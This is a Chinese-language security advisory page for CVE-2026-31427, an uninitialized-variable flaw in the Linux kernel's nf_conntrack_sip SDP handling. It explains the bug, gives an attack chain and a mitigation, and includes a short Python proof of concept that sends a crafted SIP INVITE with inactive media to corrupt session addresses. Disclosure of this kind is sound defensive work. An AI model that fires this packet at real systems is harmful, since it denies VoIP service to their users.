IPBUF安全漏洞报告
English
CVE-2026-31427 CVSS 5.5 中危

CVE-2026-31427 Linux内核nf_conntrack_sip未初始化变量漏洞

披露日期: 2026-04-13
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31427
漏洞类型
内存初始化错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux内核内存安全NetfilterSIP拒绝服务CVE-2026-31427

漏洞概述

Linux内核netfilter模块中的nf_conntrack_sip组件存在一处安全漏洞,源于process_sdp函数使用了未初始化的栈变量。在处理特定的SDP(会话描述协议)数据包时,如果数据包中不包含有效的媒体行或仅包含非活动媒体,该变量将未被赋值。内核随后会使用这个未初始化的值来重写SDP会话连接信息,导致地址被错误地替换为0.0.0.0或栈上的随机数据,从而破坏SIP通信并可能引发拒绝服务。

技术细节

漏洞位于net/netfilter/nf_conntrack_sip.c文件的process_sdp函数中。该函数在栈上声明了union nf_inet_addr rtp_addr变量,计划用于存储SDP媒体流的RTP地址。然而,初始化逻辑仅存在于遍历SDP媒体描述的循环内部,且仅在发现可识别的媒体类型及非零端口时才执行。如果攻击者发送特制的SIP数据包,其SDP主体缺少“m=”行、仅包含非活动媒体部分(如m=audio 0)或仅包含未知媒体类型,rtp_addr将保持未初始化状态。尽管如此,函数在退出循环后仍会调用hooks->sdp_session(&rtp_addr)。这导致nf_nat_sdp_session函数将栈上的残留数据(随机值)或默认零值(在开启CONFIG_INIT_STACK_ALL_ZERO的系统上)格式化为IP地址,并用其重写SDP会话级别的“o=”和“c=”行。这种行为会破坏会话连接,导致可用性受损。

攻击链分析

STEP 1
步骤1
攻击者向目标Linux服务器发送特制的SIP INVITE数据包。
STEP 2
步骤2
内核netfilter模块的nf_conntrack_sip组件解析数据包中的SDP载荷。
STEP 3
步骤3
由于SDP中仅包含非活动媒体(m=audio 0),process_sdp函数跳过rtp_addr的初始化。
STEP 4
步骤4
函数使用未初始化的栈变量调用sdp_session钩子,导致SDP会话地址被重写为垃圾值或0.0.0.0。
STEP 5
步骤5
SIP会话建立失败,导致服务不可用(拒绝服务)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # PoC for CVE-2026-31427 # Triggering the uninitialized rtp_addr usage in nf_conntrack_sip # by sending a SIP INVITE with an inactive media stream. target_ip = "192.168.1.10" target_port = 5060 # SDP with 'm=audio 0' (inactive) prevents rtp_addr initialization sdp_payload = ( "v=0\r\n" "o=user1 53655765 2353687637 IN IP4 192.168.1.100\r\n" "s=-\r\n" "c=IN IP4 192.168.1.100\r\n" "t=0 0\r\n" "m=audio 0 RTP/AVP 0\r\n" ) sip_request = ( "INVITE sip:test@{} SIP/2.0\r\n" "Via: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK-poc\r\n" "Max-Forwards: 70\r\n" "To: <sip:test@{}>\r\n" "From: <sip:[email protected]>;tag=poc\r\n" "Call-ID: [email protected]\r\n" "CSeq: 1 INVITE\r\n" "Contact: <sip:[email protected]>\r\n" "Content-Type: application/sdp\r\n" "Content-Length: {}\r\n" "\r\n" "{}" ).format(target_ip, target_ip, len(sdp_payload), sdp_payload) try: # Sending the malicious SIP packet sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(sip_request.encode(), (target_ip, target_port)) print("[+] PoC payload sent successfully.") except Exception as e: print(f"[-] Error sending packet: {e}")

影响范围

Linux Kernel (修复补丁覆盖的主分支及稳定分支)

防御指南

临时缓解措施
如果无法立即升级内核,且系统不需要SIP协议的连接跟踪功能,可以通过防火墙规则禁用netfilter对SIP协议的跟踪,或卸载nf_conntrack_sip内核模块以缓解该风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表